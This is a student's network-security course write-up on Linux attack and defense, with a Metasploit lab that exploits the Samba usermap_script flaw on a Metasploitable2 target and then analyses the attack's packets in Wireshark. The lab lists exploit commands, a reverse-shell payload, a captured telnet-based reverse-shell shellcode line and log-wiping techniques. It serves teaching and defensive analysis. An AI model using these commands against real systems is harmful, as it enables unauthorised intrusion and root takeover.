20199324 2019-2020-2 《网络攻防实践》第8周作业
作业说明
这个作业属于哪个课程 :课程链接
这个作业的要求在哪里 :作业要求链接
我在这个课程的目标是 :学习网络攻防相关技术并进行实践
这个作业在哪个具体方面帮助我实现目标:学习linux操作系统攻防技术
作业正文
1.实践内容+知识点总结
Linux操作系统基本框架
- linux操作系统除了开放源代码与免费,还具有:
- 跨平台的硬件支持
- 丰富的软件支持
- 多用户多任务
- 可靠的安全性(自带防火墙、入侵检测和安全认证等工具,及时修补系统的漏洞)
- 良好的稳定性
- 完善的网络功能
- linux系统结构:
- 进程与线程管理机制:Linux内核采用抢占式多用户多进程的模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用。
- 内存管理机制:Linux中每个进程有着独立的4GB虚拟内存空间,内核代码和数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB。
- 文件系统管理机制:使用了虚拟文件管理VFS机制,使得能够支持数十种不用类型的逻辑文件系统。
- 设备控制机制:Linux抽象了设备的处理,所有的硬件设备都像常规文件一样看待,支持三类硬件设备:字符设备、块设备和网络设备。字符设备直接进行读/写,没有缓冲区;块设备以块为单位进行读/写;网络设备通过网络接口进行访问。
- 网络机制:网络接口可以分为网络协议栈和网络驱动程序。网络协议栈负责实现各种可能的网络传输协议,网络驱动程序负责与硬件设备的通信。
- 系统调用机制:通过上述五个方面的机制实现了操作系统基本的硬件管理与系统功能。这些内核模块都运行在CPU的核心态,而应用程序运行于用户态。
linux 操作系统安全机制
linux操作系统的核心安全机制主要是身份认证、授权与访问控制、安全审计。
-
身份认证机制
- linux通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用linux操作系统。
- linux用户分为:root根用户、普通用户、系统用户;用户信息保存在/etc/passwd
- linux用户组:就是具有相同特征的用户账号集合,用户组信息保存在系统的/etc/group文件中
- linux支持本地登录用户认证机制和远程登录用户认证机制。
- linux的统一身份认证中间件——PAM(可插入身份认证模块),支持四种管理界面:认证管理、账户管理、密码管理、会话管理。
- linux通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用linux操作系统。
-
授权与访问控制机制
- 所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。
- 在linux的虚拟文件系统安全模型中,主要通过文件所有者,文件访问权限和一些特殊权限位来进行系统的授权与访问控制。
- 不足:只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,无法做到更细粒度的权限控制。
-
安全审计机制
- 主要通过三个主要的日志子系统来实现:
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志记录:由通用日志记录服务执行 。
- 主要通过三个主要的日志子系统来实现:
Linux系统远程攻防技术
攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中安全漏洞或配置弱点,来获取本地shell访问权,而一旦获得 Shell 访问权,攻击者就已经在目标 Linux 系统上获得了立足之地,而转入本地攻击的环节。
-
linux远程口令字猜测攻击
- 最基本而流行的攻击形式。通过服务嗅探用户账户名或者使用缺省内键一些账户(诸如Root)实施口令猜测猜测。除了SSH等远程控制网络服务之外,还可以通过对HTTP/HTTPS、FTP等拥有自己账户体系和身份认证机制的网络服务进行猜测。
- 自动化远程口令猜测工具:Brutus、THC Hydra、Cain and Abel
- 最佳防御措施:使用不易猜测的强口令字
- 实践措施:在非标准端口上运行容易遭受远程口令猜测攻击的服务;使用一些口令猜测攻击检测与防御软件;使用linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围。
-
linux网络服务远程渗透攻击
- 系统远程渗透最重要的攻击渠道——对监听网络服务安全漏洞的渗透利用。
- LAMP Web网站构建解决方案中的网络服务:以Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务,MySQL数据库管理系统作为web应用程序的后台数据存储,而以PHP语言来开发与实现web应用程序。正是由于LAMP组合方案在web服务器中的主导地位,也使得组合内的服务扩展模块成为Linux系统主要的远程攻击渗透目标。
- FTP、Samba等文件共享服务:FTP用于文件交换和共享传输,一般监听20和21端口;Samba是在tcp445端口监听。
- 电子邮件收发服务(sendmail服务):包括Linux在内的类UNIX系统上最为流行的电子邮件收发服务,也是备受争议的不安全的知名网络服务之一。
- 其他网络服务,如OpenSSH(TCP 22端口)、Open SSL(TCP 443端口)、NFS(tcp/udp2049端口)、SNMP(tcp161/162端口)、SUNRPC(tcp111端口)、BIND(tcp/udp53端口)、X-Windows(tcp6000端口)
- 安全防范措施:禁用不必要的网络服务、尽量选择更安全的网络协议与服务软件、及时更新网络服务版本、使用xinetd,防火墙为linux网络服务添加网络访问控制、建立入侵检测与应急响应计划流程
-
攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序:互联网用户最常用的客户端程序是Web浏览器和电子邮件客户端,最流行的Web浏览器:Firefox“火狐”浏览器,最流行的电子邮件客户端软件:Thunderbird“雷鸟”。
- 攻击Linux用户:在难以攻破服务器的时候,可以通过电话、电子邮件等各种方式来用社会工程学的方法向服务器管理员套取各种信息,或者让其执行某些恶意程序。
- 防范措施:定期更新软件(apt-get)、了解社会工程学技术、提高安全意识
-
攻击linux路由器和监听器
- Linux作为路由器或者开启混杂模式时,如果实现路由寻址和数据包转发功能的程序存在漏洞,很可能遭受构造数据包攻击。
- 配置ip_forward=1以路由器模式运行,net子系统的route.c实现路由器的寻址与数据包的转发功能。
- 攻击监听器和入侵检测器:Libpcap抓包库、tcpdump命令行程序、Wiresahrk网络监听与协议分析软件、Snort入侵检测系统。除了libpcap之外,其他的都或多或少有些漏洞。
- 防范措施:网络管理员要建立一种安全对抗与博弈的意识;掌握攻击者的渗透入侵手段
linux 系统本地安全攻防技术
- linux本地特权提升
- 破解root用户的口令,然后执行su或sudo命令进行提升;
- 发掘并利用su或sudo程序中的安全漏洞
- 攻击用户态SUID特权提升漏洞:针对SUID程序的本地缓冲溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库的攻击
- 攻击Linux内核代码特权提升漏洞
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用
- 防范措施:及时进行特权代码和内核的升级以修补本地特权安全漏洞;避免使用root用户进行日常操作等
- linux系统上的消踪灭迹
- 主要审计日志机制在/var/log目录下,主要由系统核心进程、syslogd与各个网- 络服务提供事件审计功能。
- 改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中
- 清理在Shell程序中所输入的命令历史记录(.bash_history文件)
- 防范措施:将日志信息写道难以修改的媒体介质上;把关键日志发送到另一台严密防护的安全日志服务器。
- linux系统远程控制后门程序
- Linux系统上植入远程控制后门程序的类型:特洛伊木马化的系统程序、命令行后门工具、图形化后门工具。
- 图形化远程控制软件VNC
- 使用Rootkit技术隐藏后门程序
2.实践过程
动手实践:使用 Metasploit 进行Linux远程渗透攻击
使用 Metasploit 渗透测试软件,攻击 Linux 靶机上的 Samba
服务 usermap_script
安全漏洞,获取目标 Linux 靶机的主机访问权限。实践步骤如下:
- 启动 Metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb 之一;
- 使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
- 选择攻击 PAYLOAD 为远程 Shell (正向或反向连接均可);
- 设置渗透攻击参数(RHOST,LHOST,TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
Samba介绍:
Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成。SMB是一种在局域网上实现共享文件和打印机的协议。存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源。通过设置,还可以和全世界的电脑分享资源
usermap_script
是什么?
usermap_script名为username map script(用户名映射脚本),Samba协议的一个漏洞,编号为CVE-2007-2447
影响Samba的3.0.20到3.0.25rc3 版本
当使用非默认的用户名映射脚本配置选项时产生
通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
开放端口及对应服务:
TCP:
- 139:文件和打印共享 ; smbd (基于SMB(Server Message Block)协议,主要在局域网中使用,文件共享协议)
- 389:用于 LDAP (Active Directory Mode)
- 445:NetBIOS服务在windos 2000及以后版本使用此端口, (Common Internet File System,CIFS,它是SMB协议扩展到Internet后,实现Internet文件共享)
- 901:用于 SWAT,用于网页管理Samba
UDP:
- 137:NetBIOS 名字服务 ; nmbd
- 138:NetBIOS 数据报服务
- 本次实验所采用的攻击机为kail linux,靶机为 Metasploitable2-Linux,ip地址如下表所示
环境 | IP |
---|---|
kail linux | 192.168.200.3 |
Metasploitable2-Linux | 192.168.200.125 |
-
首先,通过命令
msfconsole
启动渗透软件
-
使用
search samba
命令从Metasploit渗透代码中找出攻击Samba服务的模块,可以看到针对usermap_script安全漏洞的渗透攻击模块名称为:13 exploir/multi/usermap_script
-
通过命令
use exploit/multi/samba/usermap_script
使用渗透攻击模块
-
用
show payloads
查看攻击负载模块
-
使用命令
set PAYLOAD cmd/unix/reverse
设置攻击载荷,此载荷是支持双向连接
-
使用
show options
查看需要配置的参数
-
设置攻击机地址LHOST
set LHOST 192.168.200.3
,靶机地址RHOSTset RHOST 192.168.200.125
,使用命令show options
再次查看
-
使用命令
exploit
进行攻击,攻击成功。通过命令shell
打开shell
-
通过命令
whomai
查看当前权限账户,发现当前权限账户为root
,成功获取到靶机操作系统及root控制权限。
Samba服务是运行在root权限下,所以一旦攻击成功,将获得权限为root的shell
- 使用命令
ifconfig
确认靶机IP地址无误
实践作业:攻防对抗实践
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
-
还是选择上一个实践中的漏洞,攻击过程同上。
-
在使用命令
exploit
进行攻击之前打开wireshark -
查看wireshark捕获到的数据包
-
攻击者的IP地址
192.168.200.3
,端口34485
;目标IP192.168.200.125
,端口139
。可以看到利用了139端口漏洞。 -
攻击发起时间:
2020.4.21 05:26:00
139端口属于TCP服务,Unix中用于Samba服务。开启139端口虽然可以提供共享服务,但是常常被攻击者所利用进行攻击,可以试图获取用户名和密码。
-
由于攻击机攻击的目标主机端口为139号端口,由查阅的资料可知139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务,可知攻击利用了Samba服务漏洞。
-
对SMB数据包追踪TCP流,可以看到使用的shellcode:
-
nohup
是no hang up
的缩写,即不挂断地运行命令。如果正在运行一个进程,而且觉得在退出帐户时该进程还不会结束,那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程。 -
sh
是linux中运行shell的命令,是shell的解释器 -
sleep
来将目前动作延迟一段时间。 -
telnet 192.168.200.5 4444
表明数据是通过4444号通信端口管控传入攻击机的; -
/dev/null 2>&1
这样的写法.这条命令的意思是将标准输出和错误输出全部重定向到/dev/null中,也就是将产生的所有信息丢弃. -
最后一个
&
, 是让该命令在后台执行 -
通过追踪TCP流确定攻击成功之后攻击机在靶机执行的命令,为whoami、ifconfig、ls
3.学习中遇到的问题及解决
- 问题:打开kali的时候显示无网络连接
- 解决方案:也不知道为什么,反正重启kali之后就好了
4.实践总结
本次实践在上次实践的基础上,还是比较容易的,但是抓取的报文数量多,从中找出有用的信息比较困难。从攻击的过程中推测被利用的漏洞必须具备相当的背景知识,并且需要熟练运用搜索引擎和官方网站。越来越觉得自己脑子不太够用,要继续充电呀!